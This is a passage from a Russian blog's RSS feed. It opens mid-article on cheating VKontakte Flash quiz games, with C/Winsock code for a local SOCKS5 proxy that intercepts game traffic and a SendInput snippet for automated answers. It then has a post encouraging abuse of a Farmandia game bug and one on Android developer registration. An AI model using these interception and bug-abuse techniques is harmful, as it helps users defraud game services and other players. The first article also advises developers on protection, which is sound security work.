3&lt;br&gt;&lt;br&gt;#define SOCKET_OPENED WM_USER + 4&lt;br&gt;&lt;br&gt;#define SOCKET_CLOSED WM_USER + 5&lt;br&gt;&lt;br&gt;int ServerStart(HWND hWnd)&lt;br&gt;&lt;br&gt;{&lt;br&gt;&lt;br&gt;int rc;&lt;br&gt;&lt;br&gt;WSACleanup();&lt;br&gt;&lt;br&gt;WSAStartup(0x0101, &amp;amp;wsaData);&lt;br&gt;&lt;br&gt;server_socket = socket(AF_INET, SOCK_STREAM, 0);&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;server_address.sin_family = AF_INET;&lt;br&gt;&lt;br&gt;server_address.sin_addr.S_un.S_addr = inet_addr(&quot;127.0.0.1&quot;);&lt;br&gt;&lt;br&gt;server_address.sin_port = htons(server_port);&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;bind(server_socket, (LPSOCKADDR)&amp;amp;server_address, sizeof(server_address)) ;&lt;br&gt;&lt;br&gt;listen(server_socket, queue_size);&lt;br&gt;&lt;br&gt;/* !!! */ rc = WSAAsyncSelect(server_socket, hWnd, SERVER_ACCEPT, FD_ACCEPT);&lt;br&gt;&lt;br&gt;return 0;&lt;br&gt;&lt;br&gt;}&lt;br&gt;&lt;br&gt;Чем же этот код отличается от первого? А тем, что в данном случае нам не нужно возиться с многопоточностью для обработки каждого подключения к серверу. Благодаря выделенной строчке мы будем в нашем окне hWnd получать сообщения SERVER_ACCEPT при каждом новом подключении клиента.&lt;br&gt;&lt;br&gt;Теперь рассмотрим момент подключения. В процедуре обработки сообщений окна мы ловим сообщение SERVER_ACCEPT и работаем с ним. Как только клиент подключился, вызывается функция accept(), и далее регистрируется событие CLIENT_EVENT, которое будет приходить главному окну нашей программы, как только в сокет поступят данные либо сообщение о его закрытии:&lt;br&gt;&lt;br&gt;client_socket = accept(server_socket, (LPSOCKADDR)&amp;amp;socket_record-&amp;gt;client_address, &lt;br&gt;&amp;amp;len);&lt;br&gt;&lt;br&gt;rc = WSAAsyncSelect(socket_record-&amp;gt;client_socket, hWnd, CLIENT_EVENT, FD_READ | &lt;br&gt;FD_CLOSE);&lt;br&gt;&lt;br&gt;Вернемся опять в нашу оконную процедуру. В ней мы будем обрабатывать вышеозначенное событие CLIENT_EVENT. Значение lParam в данном случае будет либо FD_READ (если событие было вызвано как сигнал о поступлении данных в сокет), либо FD_CLOSE (если сокет был закрыт).&lt;br&gt;&lt;br&gt;if(WSAGETSELECTEVENT(lParam) == FD_READ) &lt;br&gt;&lt;br&gt;{&lt;br&gt;&lt;br&gt;c = recv(socket_record-&amp;gt;client_socket, &amp;amp;bf[0], 1,0);&lt;br&gt;&lt;br&gt;... &lt;br&gt;&lt;br&gt;}&lt;br&gt;&lt;br&gt;if(WSAGETSELECTEVENT(lParam) == FD_CLOSE)&lt;br&gt;&lt;br&gt;{&lt;br&gt;&lt;br&gt;...&lt;br&gt;&lt;br&gt;}&lt;br&gt;&lt;br&gt;Таким образом, мы уже научились принимать подключения и читать данные с сокета. Но вернемся к реализации Socks-протокола, упоминавшейся выше. Здесь я покажу, как работает Socks5, хотя в моей программе реализована и 4-ая версия. Вот что говорит нам RFC.&lt;br&gt;&lt;br&gt;После подключения клиент посылает Socks-серверу два байта: номер версии (4 или 5) и количество методов аутентификации: N. После этого нам придет еще N байт с номерами этих самых методов. Обычно приходят 3 целых числа: 05h, 01h и 00h. То есть пятая версия и первый метод, значение которого 00h, означающий, что клиент желает работать без аутентификации. В ответ мы должны вернуть два байта. Первый – это номер версии, то есть 05h, второй – значение выбранного нами (сервером) метода аутентификации из того списка, что нам предложил клиент. Так как клиент обычно предлагает только 00f, то именно это мы обратно и вернем. Скушав наш ответ, клиент пришлет запрос следующего формата: первый байт – номер версии, второй – команда, третий – резервный байт, четвертый – тип адреса. После чего будет идти группа байт непосредственно с самим адресом хоста-цели, а завершат пакет два байта с номером порта хоста-цели. Формат группы байт с адресом хоста-цели будет зависеть от того, какой тип адреса (четвертый байт) задается. Мы будем работать с привычным IPv4, что соответствует значению 01h для четвертого байта запроса. В этом случае группа байт будет размером 4, то есть стандартного формата IP-адреса из четырех целых чисел. Номер порта хоста-цели вычисляется как первый байт * 256 + второй байт.&lt;br&gt;&lt;br&gt;Итак, у нас есть запрос от клиента, который нужно выполнить. Подключаемся к хосту-цели по данному нам адресу и порту, ждем данных. Ждать данных будем как из сокета нашего клиента, так и из только что созданного сокета для хоста-цели, с которым клиент желает посредством нашего Socks-сервера пообщаться. Все, что придет от клиента, посылаем хосту-цели. Все, что от хоста-цели, уходит клиенту. Так и работает Socks-сервер.&lt;br&gt;&lt;br&gt;В моей программе реализована структура, содержащая данные обо всех подключениях, созданных нами, чтобы при принятии сообщения FD_READ мы знали, какой сокет что и куда посылает, клиент ли это или хост-цель, и в каком статусе находится процесс общения с ним. Рамки статьи не позволяют детально описать эту структуру, так что смотри исходный код.&lt;br&gt;&lt;br&gt;Итак, мы научились перенаправлять трафик и, следовательно, слушать его. Теперь, думаю, тебе не составит труда написать парсинг необходимых данных. Обрабатывая данные мы, как я уже обозначил ранее, смотрим, есть ли в нашей базе данных записи для искомого id. Если нет, то в момент наступления фазы LOSE или GUESS мы заносим это слово в базу данных. Если же запись имеется, то настало время сообщить игре правильный ответ. Это можно сделать двумя способами.&lt;br&gt;&lt;br&gt;Первый &quot;очень высокоуровневый&quot; и одновременно сложный. Заключается он в том, что мы подключаемся к COM-объекту IWebBrowser2 внутри Internet Explorer’a, в котором у нас загружена игра. Получаем интерфейс Flash-ролика и уже непосредственно с ним работаем через Flash API, что позволит нам вбить слово прямо в текстовое поле и нажать кнопку ввода. Это очень круто. И очень сложно :).&lt;br&gt;&lt;br&gt;А что если ты не пользуешься Internet Explorer’ом? Да и реализовывать все вышеописанное не хватает сил и желания? Есть старый добрый метод эмуляции событий мышки и клавиатуры. Заключается он в использовании системной функции SendInput. Это модернизированная версия keydb_event()/mouse_event(), которая рекомендована производителем (Microsoft). Вот пример нажатия клавиши F5:&lt;br&gt;&lt;br&gt;INPUT pInput;&lt;br&gt;&lt;br&gt;pInput.type = INPUT_KEYBOARD;&lt;br&gt;&lt;br&gt;pInput.ki.wVk = VK_F5;&lt;br&gt;&lt;br&gt;pInput.ki.time = 0;&lt;br&gt;&lt;br&gt;pInput.ki.wScan = 0;&lt;br&gt;&lt;br&gt;pInput.ki.dwFlags = KEYEVENTF_EXTENDEDKEY;&lt;br&gt;&lt;br&gt;SendInput(1, &amp;amp;pInput, sizeof(pInput));&lt;br&gt;&lt;br&gt;Ура! Теперь мы умеем слушать трафик через наш Socks-сервер, самообучаться, расширяя словарь при каждом новом слове, и отвечать на вопросы, которые нам уже встречались. Цель достигнута!&lt;br&gt;&lt;br&gt;Стоит добавить, что в программе, выложенной по ссылке выше, отсутствует функция ввода данных. Только прослушивание трафика и отображение слов на экране. Мне не хотелось бы, чтобы каждый второй начал терроризировать описанные приложения и накручивать рейтинг. Более того, перед выходом этого номера журнала в свет авторы приложений были проинформированы о наличии уязвимости, что, вероятно, приведет к ее устранению. Если же ты захочешь повторить что-то похожее на картину ниже, то, будь добр, напиши недостающую функцию ответа на вопросы сам.&lt;br&gt;&lt;p&gt;&lt;!--IMG3--&gt;&lt;a href=&quot;http://russia-android.ucoz.ru/_bl/0/75792667.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://russia-android.ucoz.ru/_bl/0/s75792667.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG3--&gt;&lt;br&gt;&lt;/p&gt;&lt;br&gt;Вот что получилось в итоге&lt;br&gt;&lt;p&gt;И это все?&lt;br&gt;&lt;/p&gt;&lt;br&gt;И это будет вполне адекватный вопрос. Наличие уязвимости такого класса не ограничивается лишь одним приложением. К слову сказать, весь цикл приложений этого разработчика подвержен такого рода накрутке. А именно:&lt;br&gt;Лингвамания;&lt;br&gt;Викторина;&lt;br&gt;Угадай мелодию;&lt;br&gt;Фотовикторина;&lt;br&gt;&lt;br&gt;А также некоторые другие.&lt;br&gt;&lt;br&gt;Поверхностный поиск среди приложений ВКонтакте дал еще несколько плодов. Первый из них – это приложение &quot;Пузыри&quot;.&lt;br&gt;&lt;br&gt;&lt;!--IMG4--&gt;&lt;a href=&quot;http://russia-android.ucoz.ru/_bl/0/29970913.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://russia-android.ucoz.ru/_bl/0/s29970913.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG4--&gt;&lt;br&gt;Игра &quot;Пузыри&quot;&lt;br&gt;&lt;br&gt;Если ты хороший алгоритмист и можешь написать достойную программу для набора максимального количества очков на заданном поле, то для тебя есть отличная новость. Расклад &quot;поляны&quot; перед вашими глазами:&lt;br&gt;&lt;br&gt;&lt;!--IMG5--&gt;&lt;a href=&quot;http://russia-android.ucoz.ru/_bl/0/71398795.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://russia-android.ucoz.ru/_bl/0/s71398795.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG5--&gt;&lt;br&gt;Вот что увидел Нео в Матрице&lt;br&gt;&lt;br&gt;Любителям судоку ВКонтакте есть свое местечко.&lt;br&gt;&lt;br&gt;&lt;!--IMG6--&gt;&lt;a href=&quot;http://russia-android.ucoz.ru/_bl/0/75149726.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://russia-android.ucoz.ru/_bl/0/s75149726.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG6--&gt;&lt;br&gt;Такой вот расклад&lt;br&gt;&lt;br&gt;Все, что здесь требуется – это хороший и быстрый алгоритм решения поставленной задачи, благо ее условие не нужно получать распознаванием картинки на экране, достаточно взглянуть на трафик.&lt;br&gt;&lt;br&gt;Как ты, надеюсь, понимаешь, многообразие приложений ВКонтакте несопоставимо с отведенной под статью квотой, поэтому оставляю поиск потенциальных жертв тебе, дорогой читатель, в качестве домашнего задания.&lt;br&gt;Подводя итоги&lt;br&gt;&lt;br&gt;В завершение поразмыслим о том, кто виноват и что делать. Виновными признаются лень и жажда наживы разработчиков приложений, а также эгоизм тех, кто пользуется этими приложениями, сидя ночами напролет и отращивая &quot;виртуальный половой орган&quot;. В ином случае эти приложения просто не разрабатывались бы для широкой публики. Из путей решения проблемы, какие вижу лично я, предложу следующие.&lt;br&gt;&lt;br&gt;Разработчикам. Внимательнее изучать вопрос безопасности использования приложений. Внедрение простого &quot;шифрования&quot; сдвигом на пару байт уже должно отбить у значительной доли &quot;взломщиков&quot; желание копаться в трафике, не говоря уже о более совершенных методах защиты данных, которые, в зависимости от твоей фантазии, в той или иной степени обезопасят приложение от неадекватных действий пользователей.&lt;br&gt;&lt;br&gt;Взломщикам. Надеяться на то, что на крючок попадется серьезная рыбка с брешами в безопасности, такими, как были описаны выше, не стоит. Разработчики крупных приложений (в особенности тех, где чувствуется присутствие денежной составляющей) обычно умеют считать потери от деятельности любителей &quot;покопаться внутри&quot;. Так что возьми все вышесказанное на заметку без лишних иллюзий касаемо сверхвыгодного применения этих знаний на практике.&lt;br&gt;&lt;br&gt;Тем, кто все еще играет. Перестань. Это всего лишь точки на экране. Во многих играх есть вполне реальная возможность автоматизации процесса игры и все твои многочасовые, а в редких клинических случаях и многодневные, усилия будут смотреться скудно по сравнению с результатами работы компьютерной программы. Программа не хочет ни спать, ни есть. Она не устает и не сдается. Не нужно соревноваться с программой. Живи реальной жизнью, а не жизнью &quot;эльфа 80-го уровня&quot;. Испытав все это в свое время на личном опыте, я бросил этим заниматься. И вот, осознав, что знанием стоит поделиться с другими, я открыл текстовый редактор и написал первые строки этой статьи.</content:encoded>
			<link>https://russia-android.ucoz.ru/blog/vzlom_igr_vkontakte_issledovanie_prilozhenij_vkontakte_pod_mikroskopom/2011-09-02-11</link>
			<dc:creator>linux777777</dc:creator>
			<guid>https://russia-android.ucoz.ru/blog/vzlom_igr_vkontakte_issledovanie_prilozhenij_vkontakte_pod_mikroskopom/2011-09-02-11</guid>
			<pubDate>Fri, 02 Sep 2011 12:10:28 GMT</pubDate>
		</item>
		<item>
			<title>Как я проводил пентест приложения &quot;ФАРМАНДИЯ&quot; в социальной сети вкотнакте.</title>
			<description>&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; Всем доброго времени суток. Отходя от темы разработки приложений на базе платформы Андроид, сегодня напишу статью о пентесте пополярного приложения написанного на Flash в социальной сети вконтакте.&lt;/p&gt;&lt;p&gt;Разработчикам под платформу это можно почитать разве что для ознакомления))). В общем всегда существовала идея, наверно как и у всех обмануть приложение. Взяв за основу игру Фармандия, я начал пробовать это делать. Нет, в дебри я не лез, перехватом команд на сервер и обратно не занимался. Всего лишь искал баги, передавая различные данные на вход. Сначала меня удивило то, что выполняя какие-либо действия и переходя например к другу на его ферму, вернувшись вы заметите, что опыт прибавился, но например грядки не посажены, хотя вы указывали сделать это. Сажая быстро грядки и уходя вы получаете опыт, но грядки после ухода на чужую ферму при возвращении кроме нескольких остаются незасаженными. Делая так много раз, можно перескакивать на уровень выше, а то и на 2, но ...</description>
			<content:encoded>&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; Всем доброго времени суток. Отходя от темы разработки приложений на базе платформы Андроид, сегодня напишу статью о пентесте пополярного приложения написанного на Flash в социальной сети вконтакте.&lt;/p&gt;&lt;p&gt;Разработчикам под платформу это можно почитать разве что для ознакомления))). В общем всегда существовала идея, наверно как и у всех обмануть приложение. Взяв за основу игру Фармандия, я начал пробовать это делать. Нет, в дебри я не лез, перехватом команд на сервер и обратно не занимался. Всего лишь искал баги, передавая различные данные на вход. Сначала меня удивило то, что выполняя какие-либо действия и переходя например к другу на его ферму, вернувшись вы заметите, что опыт прибавился, но например грядки не посажены, хотя вы указывали сделать это. Сажая быстро грядки и уходя вы получаете опыт, но грядки после ухода на чужую ферму при возвращении кроме нескольких остаются незасаженными. Делая так много раз, можно перескакивать на уровень выше, а то и на 2, но бриллиантов за это почему-то не получаешь. Выйдя из игры и вернувшись обратно, вас ждет облом (как и меня в первый раз). Опыт сбрасывается(.&lt;/p&gt;&lt;p&gt;Забив на это дело я заработал довольно много денег)). И решил понакупать деревянный забор. Стоит это дело 600, а опыта дает 70. Довольно неплохо. Забор можно ставить очень плотно друг к другу. Очистив участок я занялся этим). После непродолжительного строительства у меня получилось следующее.&lt;/p&gt;&lt;p&gt;&lt;!--IMG1--&gt;&lt;a href=&quot;http://russia-android.ucoz.ru/_bl/0/78164310.jpg&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;http://russia-android.ucoz.ru/_bl/0/s78164310.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG1--&gt;&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;Самое интересное заключается в том, что я обнаружил, что в этой куча забора можно его еще и еще туда ставить поверх созданного.)) То есть за 10 единиц забора вы получаете 700 опыта. Это очень быстро. Вам не надо покупать голоса, ждать часами. В процессе игры Вы обнаружите, что у Вас будут деньги, но все время не будет хватать бриллиантов. Я вот таким образом набрал 15 бриллиантов за 2 часа при этом не потратив ни копейки своих кровных. Конечно в самом начале игры, способ не очень действенен, потому что деньги тоже придется зарабатывать. Но зато потом можно разгуляться.&lt;/p&gt;&lt;p&gt;Надеюсь вам это поможет и если у кого вдруг возникла мысль шальная потратить деньги за бриллианты, то не делайте этого. Надеюсь баг просуществует долго и Вам тоже удастся им насладиться. Да, если кто считает нужным, то скажите спасибо))&lt;/p&gt;&lt;p&gt;С уважением, Владимир.&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;</content:encoded>
			<link>https://russia-android.ucoz.ru/blog/kak_ja_provodil_pentest_prilozhenija_quot_farmandija_quot_v_socialnoj_seti_vkotnakte/2011-03-30-8</link>
			<dc:creator>linux777777</dc:creator>
			<guid>https://russia-android.ucoz.ru/blog/kak_ja_provodil_pentest_prilozhenija_quot_farmandija_quot_v_socialnoj_seti_vkotnakte/2011-03-30-8</guid>
			<pubDate>Wed, 30 Mar 2011 18:08:20 GMT</pubDate>
		</item>
		<item>
			<title>Программист на Android или как быть разработчикам из России.</title>
			<description>&lt;p&gt;Всем добрый день. Хочу рассказать свой путь в изучении операционной системы на базе Android.&lt;/p&gt;&lt;p&gt;О возможности разработки приложений и игр на Android я узнал из своего любимого журнала Хакер. Это было весной прошлого года. Меня эта тема заинтересовала, но вплоть до начала осени я палец о палец не ударил). Но потом решил попробовать. Начал гуглить в интернете. Как быть разработчикам из России, читать книги, даже купил себе на русском языке такую книжку. Она неплохая, вопреки многим отзывам, но действительно хороша для новичков. Но для лучшего понимания сгодится. В октябре для выходцев из России гугл дал зеленый цвет, теперь и нам можно разрабатывать и главное (нужное подчеркнуть) продавать свои приложения. Как устанавливать IDE и прочие настройки - писать про это не буду. В нете много инфы. Я хотел рассказать о регистрации.&lt;/p&gt;&lt;p&gt;Но обо всем по порядку). Заводим аккаунт гугл, идем на сайт гугл чекаут. Вводим все данные согласно форме. Там все просто, если есть вопросы, пишити в лич...</description>
			<content:encoded>&lt;p&gt;Всем добрый день. Хочу рассказать свой путь в изучении операционной системы на базе Android.&lt;/p&gt;&lt;p&gt;О возможности разработки приложений и игр на Android я узнал из своего любимого журнала Хакер. Это было весной прошлого года. Меня эта тема заинтересовала, но вплоть до начала осени я палец о палец не ударил). Но потом решил попробовать. Начал гуглить в интернете. Как быть разработчикам из России, читать книги, даже купил себе на русском языке такую книжку. Она неплохая, вопреки многим отзывам, но действительно хороша для новичков. Но для лучшего понимания сгодится. В октябре для выходцев из России гугл дал зеленый цвет, теперь и нам можно разрабатывать и главное (нужное подчеркнуть) продавать свои приложения. Как устанавливать IDE и прочие настройки - писать про это не буду. В нете много инфы. Я хотел рассказать о регистрации.&lt;/p&gt;&lt;p&gt;Но обо всем по порядку). Заводим аккаунт гугл, идем на сайт гугл чекаут. Вводим все данные согласно форме. Там все просто, если есть вопросы, пишити в личку, помогу, чем смогу. Дальше нам предстоит заплатить 25 условных бумажек с изображениями мертвых американских президентов.) Немного на пути к миллионам, не правда?)). У меня были проблемы с этим. Суть их была в том, что гугл не хранит CVV код карточки и при первом заполнении, он отправляет запрос в ваш банк с запросом на снятие 1 доллара. Если платеж проходит, то затем пытается списать еще 25 остальных, а доллар возвращает. Но из-за жесткой политики банка (ВТБ 24) в моем случае, он требует повторного введения кода. Но сколько я не пытался обновить форму, ничего не получалось, звонил в службу поддрержки банка, там подтвердили, что запрос приходил. Но списать деньги они в ручном режиме не могут. В общем Уралсиб банк меня спас)). Там требования менее жесткие. Меня ожидал успех.Но...&lt;/p&gt;&lt;p&gt;Часть 2. Нам не очень повезло, и деньги мы можем выводить, только через гугл AdSense, все бы ничего)). Но нужен собственный сайт. После утверждения в этой системе, Вам выдадут идентификатор, который вы сможете вбить в свой аккаунт гугл чекаут. Соответственно деньги от продажи приложений и игр будут пересылать вам на счет AdSense. Когда накопиться 100 долларов, вы сможете эти деньги вывести. При больших доходах, советую во время снятия денег в банке (а доход в долларах), узнавать и записывать курс этой валюты. Т.к. возможно AdSense потребует налоговую декларацию, которая подается за этот год до 30 апреля следующего года, и платится до 1 или 31 июня)). А то ваш аккаунт могут заблокировать со всеми кровно заработанными.&lt;/p&gt;&lt;p&gt;Теперь о сайте, где взять? Я тоже задался этим вопросом, и вы читаете этот материал на сайте. созданном мной в системе Ucoz. Здесь все просто, мастер шаблонов, все визуально понятно. На русском языке. В общем я сначала зарегился, направил запрос, но сайт не наполнял содержимым. Пришел отказ, с формулировкой &quot;на реконструкции&quot;. Я заполнил быстренько его содержимым, послал повторный запрос и был мне через 2 дня праздник.&lt;/p&gt;&lt;p&gt;Вбил в чекаут номер id из AdSense и все, можно продавать свои приложения.&amp;nbsp;&lt;/p&gt;&lt;p&gt;Всем удачи, буду писать по мере возможностей и отвечать на вопросы, у кого они конечно возникнут.:-)&lt;/p&gt;</content:encoded>
			<link>https://russia-android.ucoz.ru/blog/programmist_na_android_ili_kak_byt_razrabotchikam_iz_rossii/2011-01-25-6</link>
			<dc:creator>linux777777</dc:creator>
			<guid>https://russia-android.ucoz.ru/blog/programmist_na_android_ili_kak_byt_razrabotchikam_iz_rossii/2011-01-25-6</guid>
			<pubDate>Tue, 25 Jan 2011 14:54:30 GMT</pubDate>
		</item>
	</channel>
</rss>